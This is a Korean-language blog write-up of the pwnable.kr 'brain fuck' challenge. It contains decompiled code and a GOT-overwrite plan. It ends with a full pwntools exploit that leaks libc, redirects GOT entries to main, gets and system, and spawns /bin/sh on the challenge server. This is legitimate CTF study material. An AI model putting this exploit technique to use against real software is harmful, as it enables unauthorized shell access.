Notice
Recent Posts
Recent Comments
Link
«   2026/03   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

Void

[pwnable.kr] brain fuck 본문

pwnable.kr

[pwnable.kr] brain fuck

pdw0412 2025. 1. 19. 17:44
$ checksec bf
[*] '/bf'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int i; // [esp+28h] [ebp-40Ch]
  _BYTE v5[1024]; // [esp+2Ch] [ebp-408h] BYREF
  unsigned int v6; // [esp+42Ch] [ebp-8h]

  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  p = (int)&tape;
  puts("welcome to brainfuck testing system!!");
  puts("type some brainfuck instructions except [ ]");
  memset(v5, 0, sizeof(v5));
  fgets(v5, 1024, stdin);
  for ( i = 0; i < strlen(v5); ++i )
    do_brainfuck((char)v5[i]);
  return 0;
}
int __cdecl do_brainfuck(char a1)
{
  int result; // eax
  _BYTE *v2; // ebx

  result = a1 - 43;
  switch ( a1 )
  {
    case '+':
      result = p;
      ++*(_BYTE *)p;
      break;
    case ',':
      v2 = (_BYTE *)p;
      result = getchar();
      *v2 = result;
      break;
    case '-':
      result = p;
      --*(_BYTE *)p;
      break;
    case '.':
      result = putchar(*(char *)p);
      break;
    case '<':
      result = --p;
      break;
    case '>':
      result = ++p;
      break;
    case '[':
      result = puts("[ and ] not supported.");
      break;
    default:
      return result;
  }
  return result;
}

 

간단한 vm 문제이다. vm은 p를 이동, *p 입출력이 모두 가능하기 때문에 got overwrite로 쉘을 얻을 수 있다. 4바이트 입력은 ",>"*4, 출력은 ".>"*4로 할 수 있다.

 

 

...
.got.plt:0804A00C off_804A00C     dd offset getchar       ; DATA XREF: _getchar↑r
.got.plt:0804A010 off_804A010     dd offset fgets         ; DATA XREF: _fgets↑r
.got.plt:0804A014 off_804A014     dd offset __stack_chk_fail
.got.plt:0804A014                                         ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A018 off_804A018     dd offset puts          ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C     dd offset __gmon_start__
.got.plt:0804A01C                                         ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020     dd offset strlen        ; DATA XREF: _strlen↑r
.got.plt:0804A024 off_804A024     dd offset __libc_start_main
.got.plt:0804A024                                         ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028     dd offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C     dd offset memset        ; DATA XREF: _memset↑r
.got.plt:0804A030 off_804A030     dd offset putchar       ; DATA XREF: _putchar↑r
.got.plt:0804A030 _got_plt        ends
...
.bss:0804A060                 public stdout@@GLIBC_2_0
.bss:0804A060 stdout@@GLIBC_2_0 dd ?                  ; DATA XREF: LOAD:08048288↑o
.bss:0804A060                                         ; main+23↑r
.bss:0804A060                                         ; Alternative name is 'stdout'
.bss:0804A060                                         ; Copy of shared data
.bss:0804A064 completed_6339  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
.bss:0804A065                 align 20h
.bss:0804A080 p               dd ?                    ; DATA XREF: do_brainfuck:loc_80485FE↑r
.bss:0804A080                                         ; do_brainfuck+2A↑w ...
.bss:0804A084                 align 20h
.bss:0804A0A0 tape            db    ? ;               ; DATA XREF: main+6D↑o
...

 

1. stdout을 이용해서 libc_base를 구한다.

2. 바이너리가 종료되기 전에 다시 main 함수로 돌아가기 위해서 puts()를 main으로 overwrite 한다.

3. memset()을 gets()로 overwrite한다.

4. fgets()를 system()으로 overwrite한다. (main에서 gets()로 입력받은 이후 실행)

5. puts(=main)을 실행한다.

6. main()의 gets()에서 "/bin/sh"를 입력한다.

 

 

from pwn import *

def log(n, a) : print('[*]', n, ':', hex(a))

#p=process('./bf', env={'LD_PRELOAD':'./bf_libc.so'})
p=remote('pwnable.kr', 9001)
l=ELF('./bf_libc.so')

main=0x08048671

#libc leak
payload=b'<'*0x40
payload+=b'.>'*4+b'<'*4

#putchar -> main
payload+=b'<'*0x30
payload+=b',>'*4+b'<'*4

#memset -> gets
payload+=b'<'*4
payload+=b',>'*4+b'<'*4

#fgets -> system
payload+=b'<'*0x1c
payload+=b',>'*4+b'<'*4

#putchar() (==main())
payload+=b'.'

p.sendlineafter(b'[ ]\n', payload)

libc_base=u32(p.recvn(4))-l.symbols['_IO_2_1_stdout_']
log('libc_base', libc_base)

p.send(p32(main))

gets=libc_base+l.symbols['gets']
p.send(p32(gets))

system=libc_base+l.symbols['system']
p.send(p32(system))

p.sendlineafter(b'[ ]\n', b'/bin/sh')

p.interactive()

 

 

 

BrainFuck? what a weird language..

'pwnable.kr' 카테고리의 다른 글

[pwnable.kr] flag  (0) 2025.01.19
[pwnable.kr] bof  (0) 2025.01.19
[pwnable.kr] collision  (0) 2025.01.19
[pwnable.kr] fd  (0) 2025.01.18